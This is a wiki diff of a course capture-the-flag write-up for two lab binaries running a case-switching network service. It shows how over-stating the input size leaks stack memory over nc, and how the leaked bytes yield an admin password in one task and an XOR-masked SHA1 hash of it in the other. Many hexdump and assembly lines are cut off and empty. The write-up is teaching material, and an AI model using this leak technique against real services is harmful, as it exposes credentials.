This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
session:solution:mid-ctf_asks1_3 [2014/07/11 11:08] rcaragea created |
session:solution:mid-ctf_asks1_3 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
====== CTF Tasks 1 & 3 ====== | ====== CTF Tasks 1 & 3 ====== | ||
+ | We are presented with two binaries that do almost the same thing. Let's see what exactly: | ||
+ | |||
+ | ===== Task 1 ===== | ||
+ | |||
+ | <code bash> | ||
+ | # ./ | ||
+ | Server-side debug: login password is set to [example] | ||
+ | |||
+ | .... in another terminal: | ||
+ | # nc 127.0.0.1 4242 | ||
+ | ============================================== | ||
+ | Welcome to the Case Switching service | ||
+ | ============================================== | ||
+ | Make your choice (1 or 2): | ||
+ | 1. Use service | ||
+ | 2. Configure service (only for administrators) | ||
+ | |||
+ | 1 | ||
+ | You selected [1] | ||
+ | Input: input size and then < | ||
+ | 10 | ||
+ | Bla bla bla | ||
+ | Here you go: | ||
+ | bLABLABL | ||
+ | |||
+ | # nc 127.0.0.1 4242 | ||
+ | ============================================== | ||
+ | Welcome to the Case Switching service | ||
+ | ============================================== | ||
+ | Make your choice (1 or 2): | ||
+ | 1. Use service | ||
+ | 2. Configure service (only for administrators) | ||
+ | |||
+ | 2 | ||
+ | You selected [2] | ||
+ | Configuration is done through a shell | ||
+ | What is the administrator password? | ||
+ | password | ||
+ | Unauthorized login attempted. | ||
+ | </ | ||
+ | |||
+ | So, as the name implies, it switches the case of the input. How does it do that? We turn to the assembly of the function named **handle_use** where we see this loop. | ||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | |||
+ | </ | ||
+ | |||
+ | So it XORs with 0x20 all the input (regardless of whether the input is made of letters or numbers, symbols, etc). | ||
+ | A question you should ask yourself is why does it need to know the input size? Let's try to fiddle with it: | ||
+ | |||
+ | <code bash> | ||
+ | # nc 127.0.0.1 4242 | ||
+ | ============================================== | ||
+ | Welcome to the Case Switching service | ||
+ | ============================================== | ||
+ | Make your choice (1 or 2): | ||
+ | 1. Use service | ||
+ | 2. Configure service (only for administrators) | ||
+ | |||
+ | 1 | ||
+ | You selected [1] | ||
+ | Input: input size and then < | ||
+ | 10 | ||
+ | A | ||
+ | Here you go: | ||
+ | ....... (binary) | ||
+ | </ | ||
+ | |||
+ | Interesting how we get lots of unknown binary data out of it. Maybe there' | ||
+ | <code bash> | ||
+ | # nc 127.0.0.1 4242 > out | ||
+ | 1 | ||
+ | 255 | ||
+ | |||
+ | # hexdump -Cv out | ||
+ | 00000000 | ||
+ | 00000010 | ||
+ | 00000020 | ||
+ | 00000030 | ||
+ | 00000040 | ||
+ | 00000050 | ||
+ | 00000060 | ||
+ | 00000070 | ||
+ | 00000080 | ||
+ | 00000090 | ||
+ | 000000a0 | ||
+ | 000000b0 | ||
+ | 000000c0 | ||
+ | 000000d0 | ||
+ | 000000e0 | ||
+ | 000000f0 | ||
+ | 00000100 | ||
+ | 00000110 | ||
+ | 00000120 | ||
+ | 00000130 | ||
+ | 00000140 | ||
+ | 00000150 | ||
+ | 00000160 | ||
+ | 00000170 | ||
+ | 00000180 | ||
+ | 00000190 | ||
+ | 000001a0 | ||
+ | 000001b0 | ||
+ | 000001c0 | ||
+ | 000001d0 | ||
+ | 000001e0 | ||
+ | 000001f0 | ||
+ | 00000200 | ||
+ | 00000210 | ||
+ | 00000220 | ||
+ | 00000223 | ||
+ | |||
+ | </ | ||
+ | There' | ||
+ | <code bash> | ||
+ | # hexdump -Cv out | ||
+ | 00000000 | ||
+ | 00000010 | ||
+ | 00000020 | ||
+ | 00000030 | ||
+ | 00000040 | ||
+ | 00000050 | ||
+ | 00000060 | ||
+ | 00000070 | ||
+ | 00000080 | ||
+ | 00000090 | ||
+ | 000000a0 | ||
+ | 000000b0 | ||
+ | 000000c0 | ||
+ | 000000d0 | ||
+ | 000000e0 | ||
+ | 000000f0 | ||
+ | 00000100 | ||
+ | 00000110 | ||
+ | 00000120 | ||
+ | 00000130 | ||
+ | 00000140 | ||
+ | 00000150 | ||
+ | 00000160 | ||
+ | 00000170 | ||
+ | 00000180 | ||
+ | 00000190 | ||
+ | 000001a0 | ||
+ | 000001b0 | ||
+ | 000001c0 | ||
+ | 000001d0 | ||
+ | 000001e0 | ||
+ | 000001f0 | ||
+ | 00000200 | ||
+ | 00000210 | ||
+ | 00000220 | ||
+ | 00000223 | ||
+ | </ | ||
+ | So the password seems to be " | ||
+ | Trying " | ||
+ | |||
+ | ===== Task 3 ===== | ||
+ | This task is supposedly more secure. Let's see just how secure by doing almost the same thing as before through **hexdump** | ||
+ | <code bash> | ||
+ | # nc 127.0.0.1 4242 > out | ||
+ | 1 | ||
+ | 255 | ||
+ | |||
+ | # hexdump -Cv out | ||
+ | 00000000 | ||
+ | 00000010 | ||
+ | 00000020 | ||
+ | 00000030 | ||
+ | 00000040 | ||
+ | 00000050 | ||
+ | 00000060 | ||
+ | 00000070 | ||
+ | 00000080 | ||
+ | 00000090 | ||
+ | 000000a0 | ||
+ | 000000b0 | ||
+ | 000000c0 | ||
+ | 000000d0 | ||
+ | 000000e0 | ||
+ | 000000f0 | ||
+ | 00000100 | ||
+ | 00000110 | ||
+ | 00000120 | ||
+ | 00000130 | ||
+ | 00000140 | ||
+ | 00000150 | ||
+ | 00000160 | ||
+ | 00000170 | ||
+ | 00000180 | ||
+ | 00000190 | ||
+ | 000001a0 | ||
+ | 000001b0 | ||
+ | 000001c0 | ||
+ | 000001d0 | ||
+ | 000001e0 | ||
+ | 000001f0 | ||
+ | 00000200 | ||
+ | 00000210 | ||
+ | 00000212 | ||
+ | </ | ||
+ | So even if we want 255 bytes it provides considerably less. Why is that? | ||
+ | In task 1 handle_use ended like this: | ||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | Task 3 ends it like this: | ||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | So instead of a **write** it does a **puts** stopping at the first NULL byte. We can bypass this by giving as input the exact amount of bytes until that NULL byte | ||
+ | |||
+ | Let's try 210 bytes. | ||
+ | <code bash> | ||
+ | # nc 127.0.0.1 4242 > out | ||
+ | 1 | ||
+ | 255 | ||
+ | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | ||
+ | # hexdump -Cv out | ||
+ | 00000000 | ||
+ | 00000010 | ||
+ | 00000020 | ||
+ | 00000030 | ||
+ | 00000040 | ||
+ | 00000050 | ||
+ | 00000060 | ||
+ | 00000070 | ||
+ | 00000080 | ||
+ | 00000090 | ||
+ | 000000a0 | ||
+ | 000000b0 | ||
+ | 000000c0 | ||
+ | 000000d0 | ||
+ | 000000e0 | ||
+ | 000000f0 | ||
+ | 00000100 | ||
+ | 00000110 | ||
+ | 00000120 | ||
+ | 00000130 | ||
+ | 00000140 | ||
+ | 00000150 | ||
+ | 00000160 | ||
+ | 00000170 | ||
+ | 00000180 | ||
+ | 00000190 | ||
+ | 000001a0 | ||
+ | 000001b0 | ||
+ | 000001c0 | ||
+ | 000001d0 | ||
+ | 000001e0 | ||
+ | 000001f0 | ||
+ | 00000200 | ||
+ | 00000210 | ||
+ | 00000212 | ||
+ | </ | ||
+ | We seem to be needing 2 + 8 + 8 + 8 + 2 = 28 bytes to pass the NULL. So we try 238 bytes | ||
+ | <code bash> | ||
+ | # nc 127.0.0.1 4242 > out | ||
+ | 1 | ||
+ | 255 | ||
+ | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | ||
+ | # hexdump -Cv out | ||
+ | 00000000 | ||
+ | 00000010 | ||
+ | 00000020 | ||
+ | 00000030 | ||
+ | 00000040 | ||
+ | 00000050 | ||
+ | 00000060 | ||
+ | 00000070 | ||
+ | 00000080 | ||
+ | 00000090 | ||
+ | 000000a0 | ||
+ | 000000b0 | ||
+ | 000000c0 | ||
+ | 000000d0 | ||
+ | 000000e0 | ||
+ | 000000f0 | ||
+ | 00000100 | ||
+ | 00000110 | ||
+ | 00000120 | ||
+ | 00000130 | ||
+ | 00000140 | ||
+ | 00000150 | ||
+ | 00000160 | ||
+ | 00000170 | ||
+ | 00000180 | ||
+ | 00000190 | ||
+ | 000001a0 | ||
+ | 000001b0 | ||
+ | 000001c0 | ||
+ | 000001d0 | ||
+ | 000001e0 | ||
+ | 000001f0 | ||
+ | 00000200 | ||
+ | 00000210 | ||
+ | 00000220 | ||
+ | 0000022a | ||
+ | </ | ||
+ | To pass the next null byte we would need 238 + 6 + 8 + 8 + 2 = 262 bytes which is more than what we can send. | ||
+ | Before doing assembly investigations let's do some dynamic analysis. | ||
+ | <code bash> | ||
+ | # ltrace ./ | ||
+ | __libc_start_main(0x8048fab, | ||
+ | fopen(" | ||
+ | fgets(" | ||
+ | strlen(" | ||
+ | printf(" | ||
+ | ) = 54 | ||
+ | SHA1(0xbfffe988, | ||
+ | fclose(0x804c008) | ||
+ | atoi(0xbffff079, | ||
+ | socket(2, 1, 0) = 3 | ||
+ | bzero(0xbfffedb8, | ||
+ | inet_addr(" | ||
+ | htons(4242, 16, 0, 1) = 0x9210 | ||
+ | setsockopt(3, | ||
+ | bind(3, 0xbfffedb8, 16, 0xbfffedcc) | ||
+ | listen(3, 5, 16, 0xbfffedcc) | ||
+ | accept(3, 0xbfffeda8, 0xbfffedc8, 0xbfffedcc) | ||
+ | fork() | ||
+ | close(4) | ||
+ | accept(3, 0xbfffeda8, 0xbfffedc8, 0xbfffedcc <no return ...> | ||
+ | --- SIGCHLD (Child exited) --- | ||
+ | </ | ||
+ | Notice the SHA1 hash call. If we look into **handle_configure** we see that the comparison (memcmp) is done against the hash of our input as well. | ||
+ | Since the SHA1 of the correct password is done at every program start maybe it's still on the stack. Let's check the hash of " | ||
+ | <code bash> | ||
+ | # echo -n " | ||
+ | c3499c2729730a7f807efb8676a92dcb6f8a3f8f | ||
+ | </ | ||
+ | |||
+ | If we look at the beginning it doesn' | ||
+ | <code bash> | ||
+ | 00000220 | ||
+ | </ | ||
+ | Why would there be only 3 bytes? Remember the XOR function? 0x6f XOR 0x20 = 0x8f which is exactly the byte preceding these 3 bytes. Extrapolating, | ||
+ | |||
+ | Let's try remote: | ||
+ | <code bash># nc 127.0.0.1 4242 > out | ||
+ | 1 | ||
+ | 255 | ||
+ | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | ||
+ | # hexdump -Cv out | ||
+ | 00000000 | ||
+ | 00000010 | ||
+ | 00000020 | ||
+ | 00000030 | ||
+ | 00000040 | ||
+ | 00000050 | ||
+ | 00000060 | ||
+ | 00000070 | ||
+ | 00000080 | ||
+ | 00000090 | ||
+ | 000000a0 | ||
+ | 000000b0 | ||
+ | 000000c0 | ||
+ | 000000d0 | ||
+ | 000000e0 | ||
+ | 000000f0 | ||
+ | 00000100 | ||
+ | 00000110 | ||
+ | 00000120 | ||
+ | 00000130 | ||
+ | 00000140 | ||
+ | 00000150 | ||
+ | 00000160 | ||
+ | 00000170 | ||
+ | 00000180 | ||
+ | 00000190 | ||
+ | 000001a0 | ||
+ | 000001b0 | ||
+ | 000001c0 | ||
+ | 000001d0 | ||
+ | 000001e0 | ||
+ | 000001f0 | ||
+ | 00000200 | ||
+ | 00000210 | ||
+ | 00000220 | ||
+ | 0000022a | ||
+ | |||
+ | |||
+ | |||
+ | </ | ||
+ | |||
+ | The interesting part is "b6 81 c9 e2 a4 97 34 db b7 e5 d8 88 a8 97 03 91 b9 33 a9 7e". XORing the first bytes as discussed yields the hash: 96a1e9c284b714fb97c5f8a888b723b19933a97e | ||
+ | Searching for this hash on google yields the password " |